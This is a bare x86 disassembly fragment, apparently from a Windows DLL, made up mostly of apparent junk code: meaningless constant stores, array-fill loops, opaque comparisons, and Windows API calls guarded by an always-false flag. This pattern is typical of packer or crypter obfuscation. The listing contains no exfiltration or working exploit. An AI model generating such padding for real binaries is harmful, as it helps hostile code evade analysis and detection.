mov dword [ebp - 0x1c], 0xc79e672c
mov dword [ebp - 0x40], 0x1a7a81a8
mov dword [ebp - 0x4c], 0x55d58009
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ecx
jge 0x100334a1
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x194], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10033489
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x100334b7
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x38c], 6
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x100334a6
mov eax, dword [ebp - 0x1c]
xor ebx, ebx
imul eax, dword [ebp - 0x1c]
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x194]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
setge bl
add edx, ebx
xor ecx, ecx
cmp edx, eax
setle cl
or eax, 0xffffffff
mov dword [ebp - 0x38c], ecx
xor edx, edx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x38c]
mov eax, dword [ebp - 0x1c]
sub ecx, eax
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
sete dl
sub edx, dword [ebp - 0x1c]
neg edx
sbb edx, edx
inc edx
cmp edx, dword [ebp - 0x1c]
je 0x10033533
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x10033533
cmp dword [ebp - 0x194], eax
jne 0x10033533
xor ebx, ebx
inc ebx
jmp 0x10033538
xor ebx, ebx
inc ebx
mov eax, ebx
mov dword [ebp - 0x4c], eax
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x1003354e
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
xor eax, eax
mov byte [ebp - 0xd], al
mov dword [ebp - 0x24], 0x33c22515
mov dword [ebp - 0x34], 0x5dd7582b
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x10033584
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xd44], 0x3b910207
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x1003356b
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x100335a6
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xd8], 0x29000d4e
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x1003358d
xor eax, eax
push 3
mov dword [ebp - 0x20], eax
pop ecx
cmp dword [ebp - 0x20], ecx
jge 0x100335c9
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xe24], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x100335b1
xor eax, eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], ecx
jg 0x10033705
mov dword [ebp - 0x34], 0xca335c22
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x40], 0xffffffff
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x1003360c
cmp byte [ebp - 0xd], 0
je 0x10033e7a
mov ecx, 0xffff
mov dword [ebp - 0x58], ecx
or ecx, 0xffffffff
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x28], 0x434678dc
mov dword [ebp - 0x24], 0xaa43b2b
mov dword [ebp - 0x34], 0xb6b0e1b1
mov dword [ebp - 0x34], ecx
xor ecx, ecx
inc ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x10033854
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x200], 0xfffffff9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1003383c
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1003386a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xe3c], 0xd3860a42
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10033859
mov eax, dword [ebp - 0x58]
inc dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x200]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x14], 0x6de4
xor eax, eax
mov dword [ebp - 0x2c], 0x90f9cf5
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x100338aa
push eax
call dword [sym.imp.COMDLG32.dll_FindTextW]
xor ecx, ecx
inc ecx
mov dword [ebp - 0x24], 0xfffffff5
jmp 0x10033969
mov dword [ebp - 0x18], 0xdf500c33
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x18], eax
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x100338e0
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x100338e2
mov ecx, eax
mov eax, dword [ebp - 0xe34]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
imul eax, ecx
cmp eax, dword [ebp - 0x58]
je 0x10033910
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10033963
push eax
push 0x1bff
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
jmp 0x10033963
xor eax, eax
mov dword [ebp - 0x4c], 0xb6a4
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1003393f
push 0x224a
push 0xdb9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov ecx, dword [ebp - 0x2c]
xor edx, edx
imul ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x4c]
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setle dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x18], eax
inc dword [ebp - 0x24]
push 1
pop ecx
cmp dword [ebp - 0x24], 0xfffffffa
jle 0x100338b6
mov dword [ebp - 0x20], 0xb871c7bf
xor eax, eax
inc eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], 8
mov dword [ebp - 0x5ec], eax
mov dword [ebp - 0x5e8], eax
mov dword [ebp - 0x5e4], eax
mov dword [ebp - 0x5e0], eax
xor eax, eax
mov dword [ebp - 0x4c], 0xfcd553b7
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x100339ca
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x180], 0x64a6847d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x100339b1
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jg 0x10033a88
or eax, 0xffffffff
xor ebx, ebx
mov dword [ebp - 0x18], eax
inc ebx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10034129
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x588], 0xf1124f01
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10034111
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1003413a
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10034156
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x588], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10034142
xor eax, eax
mov dword [ebp - 0x20], 0xb871c7bf
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], 8
mov dword [ebp - 0x600], ebx
mov dword [ebp - 0x5fc], ebx
mov dword [ebp - 0x5f8], ebx
mov dword [ebp - 0x5f4], ebx
mov dword [ebp - 0x4c], 0xfcd553b7
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x100341a8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x190], 0x64a6847d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1003418f
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jg 0x10034264
mov edi, 0xfffa
mov dword [ebp - 0x18], ebx
xor ecx, ecx
mov dword [ebp - 0x24], 0xa4ccfd6
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x190]
mov eax, dword [ebp - 0x190]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x190]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x190]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], 3
mov eax, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
cmp eax, edi
mov eax, dword [ebp - 0x2c]
setne cl
xor edx, edx
cmp ecx, eax
mov ecx, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x20]
setle dl
mov dword [ebp + eax*4 - 0x190], ecx
mov eax, dword [ebp - 0x20]
add eax, edx
add eax, ecx
imul eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jle 0x100341ba
mov edi, dword [sym.imp.GDI32.dll_GdiFlush]
xor eax, eax
cmp dword [ebp - 0x188], eax
je 0x1003428f
mov eax, dword [ebp - 0x20]
xor edx, edx
mov ecx, dword [ebp - 0x190]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
setl dl
imul eax, edx, 0x16e1
test eax, eax
je 0x1003428d
mov ecx, ebx
jmp 0x10034291
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x20]
sub eax, ecx
xor ecx, ecx
cmp eax, 0xf7fa
setl cl
sub ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18c]
sub ecx, eax
mov eax, dword [ebp - 0x28]
sub ecx, eax
xor eax, eax
cmp eax, ecx
sbb eax, eax
neg eax
sub eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x7342
mov eax, dword [ebp - 0x2c]
setl cl
sub eax, ecx
cmp eax, 0x7fcf6239
jne 0x100342ef
mov dword [ebp - 0x4c], 0x3ad33dc2
mov dword [ebp - 0x50], 0xfffffff8
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x50], eax
jmp 0x100343d3
mov dword [ebp - 0x40], 0x59a1248f
mov dword [ebp - 0x40], 0x7f4763cd
push 0xfffffffffffffffd
pop eax
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x58], 0xb48eda29
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1003432e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x494], 0x7b094c6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10034315
xor eax, eax
cmp dword [ebp - 0x490], eax
je 0x100343d0
mov eax, dword [ebp - 0x5f4]
dec dword [ebp - 0x5f4]
test eax, eax
je 0x100343ce
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x190]
neg eax
sbb eax, eax
neg eax
imul ecx, eax
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
xor eax, eax
cmp dword [ebp - 0x40], eax
jne 0x1003437e
cmp dword [ebp - 0x490], eax
je 0x10034380
mov eax, ebx
mov dword [ebp - 0x40], eax
xor edx, edx
mov ecx, dword [ebp - 0x494]
mov eax, dword [ebp - 0x40]
cmp ecx, eax
setle dl
mov dword [ebp - 0x494], edx
mov eax, dword [ebp - 0x58]
lea ecx, [edx - 9]
xor edx, edx
cmp ecx, eax
setg dl
xor eax, eax
cmp edx, dword [ebp - 0x58]
jle 0x100343b4
mov edx, ebx
cmp dword [ebp - 0x28], eax
jne 0x100343b6
mov edx, eax
mov eax, dword [ebp - 0x600]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x2c]
setge cl
add eax, ecx
je 0x100343ce
mov eax, ebx
jmp 0x100343d0
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x14], 0xd303f024
xor eax, eax
mov dword [ebp - 0x40], 0x84e5a945
mov dword [ebp - 0x40], 0x83a0f0f5
mov dword [ebp - 0x28], 0x593c8699
mov dword [ebp - 0x24], 0x9919c44d
mov dword [ebp - 0x4c], 0xfffffff9
mov dword [ebp - 0x34], 0x8670fc24
mov dword [ebp - 0x18], eax
jmp 0x1003441c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x240], 0xd020bd2a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1003440b
mov eax, dword [ebp - 0x23c]
xor edx, edx
mov eax, dword [ebp - 0x240]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x240]
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x23c]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setge dl
xor ecx, ecx
cmp eax, edx
setg cl
mov dword [ebp - 0x40], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x40]
cmp eax, ebx
setl cl
xor edx, edx
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x23c]
mov eax, dword [ebp - 0x23c]
cmp eax, 0xcced
mov eax, dword [ebp - 0x24]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x240]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x23c]
setge dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x23c]
sete bl
xor ecx, ecx
cmp ebx, eax
sete cl
mov dword [ebp - 0x23c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x14]
cmp eax, 0xbcf5
mov eax, dword [ebp - 0x24]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setl dl
xor ecx, ecx
cmp edx, eax
setl cl
xor ebx, ebx
mov dword [ebp - 0x4c], ecx
inc ebx
mov dword [ebp - 0x20], 0xb871c7bf
xor eax, eax
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], 8
mov dword [ebp - 0x614], ebx
mov dword [ebp - 0x610], ebx
mov dword [ebp - 0x60c], ebx
mov dword [ebp - 0x608], ebx
mov dword [ebp - 0x4c], 0xfcd553b7
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x10034532
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1a0], 0x64a6847d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10034519
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jg 0x100345ee
mov edi, 0xfffa
mov dword [ebp - 0x18], ebx
xor ecx, ecx
mov dword [ebp - 0x24], 0xa4ccfd6
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x1a0]
mov eax, dword [ebp - 0x1a0]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x1a0]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x1a0]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], 3
mov eax, dword [ebp - 0x19c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
cmp eax, edi
mov eax, dword [ebp - 0x2c]
setne cl
xor edx, edx
cmp ecx, eax
mov ecx, dword [ebp - 0x19c]
mov eax, dword [ebp - 0x20]
setle dl
mov dword [ebp + eax*4 - 0x1a0], ecx
mov eax, dword [ebp - 0x20]
add eax, edx
add eax, ecx
imul eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jle 0x10034544
mov edi, dword [sym.imp.GDI32.dll_GdiFlush]
xor eax, eax
cmp dword [ebp - 0x198], eax
je 0x10034619
mov eax, dword [ebp - 0x20]
xor edx, edx
mov ecx, dword [ebp - 0x1a0]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
setl dl
imul eax, edx, 0x16e1
test eax, eax
je 0x10034617
mov ecx, ebx
jmp 0x1003461b
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x20]
sub eax, ecx
xor ecx, ecx
cmp eax, 0xf7fa
setl cl
sub ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x19c]
sub ecx, eax
mov eax, dword [ebp - 0x28]
sub ecx, eax
xor eax, eax
cmp eax, ecx
sbb eax, eax
neg eax
sub eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x7342
mov eax, dword [ebp - 0x2c]
setl cl
sub eax, ecx
cmp eax, 0x7fcf6239
jne 0x10034679
mov dword [ebp - 0x4c], 0x3ad33dc2
mov dword [ebp - 0x50], 0xfffffff8
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x50], eax
jmp 0x1003475d
mov dword [ebp - 0x40], 0x59a1248f
mov dword [ebp - 0x40], 0x7f4763cd
push 0xfffffffffffffffd
pop eax
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x58], 0xb48eda29
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x100346b8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x41c], 0x7b094c6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1003469f
xor eax, eax
cmp dword [ebp - 0x418], eax
je 0x1003475a
mov eax, dword [ebp - 0x608]
dec dword [ebp - 0x608]
test eax, eax
je 0x10034758
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x1a0]
neg eax
sbb eax, eax
neg eax
imul ecx, eax
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
xor eax, eax
cmp dword [ebp - 0x40], eax
jne 0x10034708
cmp dword [ebp - 0x418], eax
je 0x1003470a
mov eax, ebx
mov dword [ebp - 0x40], eax
xor edx, edx
mov ecx, dword [ebp - 0x41c]
mov eax, dword [ebp - 0x40]
cmp ecx, eax
setle dl
mov dword [ebp - 0x41c], edx
mov eax, dword [ebp - 0x58]
lea ecx, [edx - 9]
xor edx, edx
cmp ecx, eax
setg dl
xor eax, eax
cmp edx, dword [ebp - 0x58]
jle 0x1003473e
xor eax, eax
mov dword [ebp - 0x2c], eax
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10034785
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x578], 0xf1124f01
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1003476d
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10034799
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x100347b5